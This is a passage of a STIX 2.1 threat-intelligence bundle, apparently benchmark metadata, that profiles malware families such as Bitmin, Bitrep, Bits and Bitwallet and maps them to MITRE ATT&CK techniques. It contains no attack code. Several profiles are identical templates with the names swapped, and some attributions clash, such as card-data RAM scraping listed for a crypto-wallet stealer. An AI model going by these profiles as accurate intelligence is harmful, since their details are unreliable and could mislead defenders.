      "relationship_type": "uses",
      "source_ref": "malware--1cc1feb3-f5b7-5903-a046-afb9c542abb1",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bitman exhibits technique T1490 (Inhibit System Recovery (Deleting Shadow Copies))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ef9b46c6-7cc7-5755-ae20-75ecf260174e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1cc1feb3-f5b7-5903-a046-afb9c542abb1",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bitman exhibits technique T1189 (Drive-by Compromise (Exploit Kits))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f143fb21-94c5-5143-8d44-2c87adf5f978",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1cc1feb3-f5b7-5903-a046-afb9c542abb1",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bitman exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--af0db07c-955f-5422-b313-08b9e47a9b06",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bitmin",
      "description": "Bitmin (cataloged under Microsoft Defender designations including Trojan:Win32/Bitmin, Trojan:Win32/Bitman, and CoinMiner.Win32.Bitman) is an enduring family of covert cryptocurrency mining trojans operating across Windows systems since 2011. Emerging alongside early Bitcoin mining exploits and subsequently adapting to privacy coins like Monero (XMR), Bitmin is engineered to quietly commandeer host processor (CPU) and graphics card (GPU) cycles without user authorization. Delivered via software cracks, torrented games, and drive-by droppers, the trojan extracts modified, embedded open-source mining engines (such as XMRig, cgminer, or custom stratum miners) directly into the AppData or Temp directories. Bitmin implements aggressive operational stealth: it continuously monitors active Windows processes and user interaction, instantly throttling or suspending hash computations whenever Task Manager (taskmgr.exe), Process Explorer, or graphics-intensive applications are detected. The miner connects to mining pools using the Stratum TCP protocol over custom non-standard ports (such as 3333, 4444, and 5555), causing chronic hardware degradation, thermal throttling, and enterprise power consumption spikes. (Observed samples in benchmark: 112)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Bitmin",
        "Trojan:Win32/Bitman",
        "Trojan.Win32.Bitman",
        "CoinMiner.Win32.Bitman",
        "Riskware.Bitmin"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bitmin",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bitmin"
        }
      ],
      "labels": [
        "coinminer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8830e7a9-246c-5659-aead-9f3733ca9d89",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--af0db07c-955f-5422-b313-08b9e47a9b06",
      "target_ref": "attack-pattern--bd67c8e3-94f2-57e6-a412-22872f13a8e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bitmin exhibits technique T1496 (Resource Hijacking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c74fb939-3244-5d4b-8305-21f07025819a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--af0db07c-955f-5422-b313-08b9e47a9b06",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bitmin exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--db5bf151-c545-552f-8e37-b2cfea8bceca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--af0db07c-955f-5422-b313-08b9e47a9b06",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bitmin exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7a4dff07-04df-5f7e-8b9d-8198e2df4410",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--af0db07c-955f-5422-b313-08b9e47a9b06",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bitmin exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--93c16e48-529b-5c56-8838-6b7959fdca5b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--af0db07c-955f-5422-b313-08b9e47a9b06",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bitmin exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1bc955c6-963e-576f-9094-560e4a0c5ded",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--af0db07c-955f-5422-b313-08b9e47a9b06",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bitmin exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d6abb9bc-ccf6-5288-ab96-1880c60005e5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bitrep",
      "description": "Bitrep (cataloged in antivirus vendor databases under detections including Trojan:Win32/Bitrep, Trojan:Win32/Bitrep.A, and TrojanDownloader:Win32/Bitrep) is a Windows click-fraud and browser manipulation trojan active since 2014. Designed to generate illicit advertising revenue and monetize compromised endpoints, Bitrep alters browser preferences across Google Chrome, Mozilla Firefox, and Microsoft Edge. It modifies desktop shortcut arguments to append malicious URL parameters, replaces default search providers with rogue affiliate portals, and runs invisible background web sessions that simulate user mouse clicks on pay-per-click banner ads. Furthermore, Bitrep acts as a secondary downloader, retrieving and executing additional adware programs and browser hijackers while beaconing host system identifiers and browsing queries to remote monetization networks. (Observed samples in benchmark: 76)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Bitrep",
        "Trojan:Win32/Bitrep.A",
        "TrojanDownloader:Win32/Bitrep"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bitrep",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bitrep"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c24b8632-a994-588b-aad6-4031f3097700",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d6abb9bc-ccf6-5288-ab96-1880c60005e5",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bitrep exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9c9c53df-eeaa-52bf-bd87-e7c3173ce6f4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d6abb9bc-ccf6-5288-ab96-1880c60005e5",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bitrep exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6b87f5df-916e-532d-86cb-e2cc73a33612",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d6abb9bc-ccf6-5288-ab96-1880c60005e5",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bitrep exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9e88cf13-f4c8-59f3-82d5-aa24fa2f52c1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d6abb9bc-ccf6-5288-ab96-1880c60005e5",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bitrep exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e5a79d0d-bfac-5c01-92f9-487c0e6c2a9f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d6abb9bc-ccf6-5288-ab96-1880c60005e5",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bitrep exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e89f3765-0d13-5c67-8468-999cff49992d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bitrepeyp",
      "description": "Bitrepeyp (classified in antivirus detection telemetry under designations including Ransom:Win32/Bitrepeyp, Ransom.Win32.Bitrepeyp, and Win32/Bitrepeyp) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bitrepeyp executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Bitrepeyp",
        "Downloader.Bitrepeyp",
        "Win32/Bitrepeyp",
        "Ransom:Win32/Bitrepeyp",
        "Ransom.Win32.Bitrepeyp"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bitrepeyp",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bitrepeyp"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--64d0c04d-f7ab-5105-a9f9-02d33acfb852",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e89f3765-0d13-5c67-8468-999cff49992d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bitrepeyp exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0e0eb258-9ca5-5567-b8c7-d644cc7cbdaa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e89f3765-0d13-5c67-8468-999cff49992d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bitrepeyp exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fa25cce0-d163-5675-8c6a-9606674d91c0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e89f3765-0d13-5c67-8468-999cff49992d",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bitrepeyp exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c13662ec-0df9-58f7-9324-9737e75fdf2c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bits",
      "description": "Bits (classified in antivirus detection telemetry under designations including Ransom:Win32/Bits, Ransom.Win32.Bits, and Win32/Bits) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bits executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Bits",
        "Ransom.Win32.Bits",
        "Win32/Bits"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bits",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bits"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--210b143d-97f6-521d-9afe-191fc7902dc7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1197: BITS Jobs (The core technique abused by this malware)",
      "description": "MITRE ATT&CK Technique T1197 (BITS Jobs (The core technique abused by this malware)) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1197",
          "url": "https://attack.mitre.org/techniques/T1197/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--26b82ff4-faf3-5848-8d00-9bb83c9c1b1a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c13662ec-0df9-58f7-9324-9737e75fdf2c",
      "target_ref": "attack-pattern--210b143d-97f6-521d-9afe-191fc7902dc7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bits exhibits technique T1197 (BITS Jobs (The core technique abused by this malware))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--3f5e17de-d572-5288-86fa-bf1f77a4e8ff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1218: System Binary Proxy Execution (Using bitsadmin or svchost to proxy the network request)",
      "description": "MITRE ATT&CK Technique T1218 (System Binary Proxy Execution (Using bitsadmin or svchost to proxy the network request)) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1218",
          "url": "https://attack.mitre.org/techniques/T1218/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c4184aa0-e0f8-50ec-b0c7-9ab5ff56b1d6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c13662ec-0df9-58f7-9324-9737e75fdf2c",
      "target_ref": "attack-pattern--3f5e17de-d572-5288-86fa-bf1f77a4e8ff",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bits exhibits technique T1218 (System Binary Proxy Execution (Using bitsadmin or svchost to proxy the network request))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5db40089-386a-56e1-bb1d-8eb976eed412",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c13662ec-0df9-58f7-9324-9737e75fdf2c",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bits exhibits technique T1041 (Exfiltration Over C2 Channel (Using BITS upload jobs to steal data))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--822aa28c-493f-5f2b-b608-c72f651c4ae6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bitter",
      "description": "Bitter (classified in antivirus detection telemetry under designations including Trojan:Win32/Bitter, Trojan.Win32.Bitter, and Win32/Bitter) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bitter executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Bitter",
        "Trojan.Win32.Bitter",
        "Win32/Bitter"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bitter",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bitter"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cdd2fe81-c7b0-54aa-9a41-f17723a8f570",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--822aa28c-493f-5f2b-b608-c72f651c4ae6",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bitter exhibits technique T1566.001 (Phishing: Spearphishing Attachment (Targeted delivery using exploit documents))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--0e256bfe-cc6d-5f41-9ab7-680374cb717c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1203: Exploitation for Client Execution (Exploiting Office vulnerabilities)",
      "description": "MITRE ATT&CK Technique T1203 (Exploitation for Client Execution (Exploiting Office vulnerabilities)) under tactic Execution.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1203",
          "url": "https://attack.mitre.org/techniques/T1203/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7d90423b-ec08-5679-8341-83e0b630cd55",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--822aa28c-493f-5f2b-b608-c72f651c4ae6",
      "target_ref": "attack-pattern--0e256bfe-cc6d-5f41-9ab7-680374cb717c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bitter exhibits technique T1203 (Exploitation for Client Execution (Exploiting Office vulnerabilities))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c004fe81-5513-55b0-89c6-dfb35d3cbca5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--822aa28c-493f-5f2b-b608-c72f651c4ae6",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bitter exhibits technique T1048 (Exfiltration Over Alternative Protocol (Stealing sensitive data))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--787614c9-790d-546a-ba4d-75c2987d043a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bitwallet",
      "description": "Bitwallet (classified in antivirus detection telemetry under designations including Trojan:Win32/Bitwallet, Trojan.Win32.Bitwallet, and Win32/Bitwallet) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bitwallet executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.CoinStealer",
        "PWS.Bitwallet",
        "TrojanSpy.CryptoSteal",
        "Trojan:Win32/Bitwallet",
        "Trojan.Win32.Bitwallet",
        "Win32/Bitwallet"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bitwallet",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bitwallet"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e6b9dcb8-8ecf-5cc4-87d5-1bd29e8014fa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--787614c9-790d-546a-ba4d-75c2987d043a",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bitwallet exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--41d4b2a9-c966-5995-8dcc-e859413afd1f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--787614c9-790d-546a-ba4d-75c2987d043a",
      "target_ref": "attack-pattern--30e9046a-dc48-58d0-a60d-f1836784f5a7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bitwallet exhibits technique T1005 (Data from Local System (Scraping RAM for Track 1/Track 2 data))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--965dee6d-7eb7-54dd-9994-b3bc886cc3d7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--787614c9-790d-546a-ba4d-75c2987d043a",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bitwallet exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1019916a-8334-53e5-9a1a-7c6f59779500",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--787614c9-790d-546a-ba4d-75c2987d043a",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bitwallet exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9d397910-def9-5b04-8488-2c82e189a49c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bkff",
      "description": "Bkff (classified in antivirus detection telemetry under designations including Ransom:Win32/Bkff, Ransom.Win32.Bkff, and Win32/Bkff) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bkff executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Bkff",
        "Downloader.Bkff",
        "Win32/Bkff",
        "Ransom:Win32/Bkff",
        "Ransom.Win32.Bkff"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bkff",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bkff"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--222b6820-e6ea-5c61-b8ca-906a0137555e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d397910-def9-5b04-8488-2c82e189a49c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bkff exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cbaa0d23-6db4-5705-8f7c-aaead2f9eee2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d397910-def9-5b04-8488-2c82e189a49c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
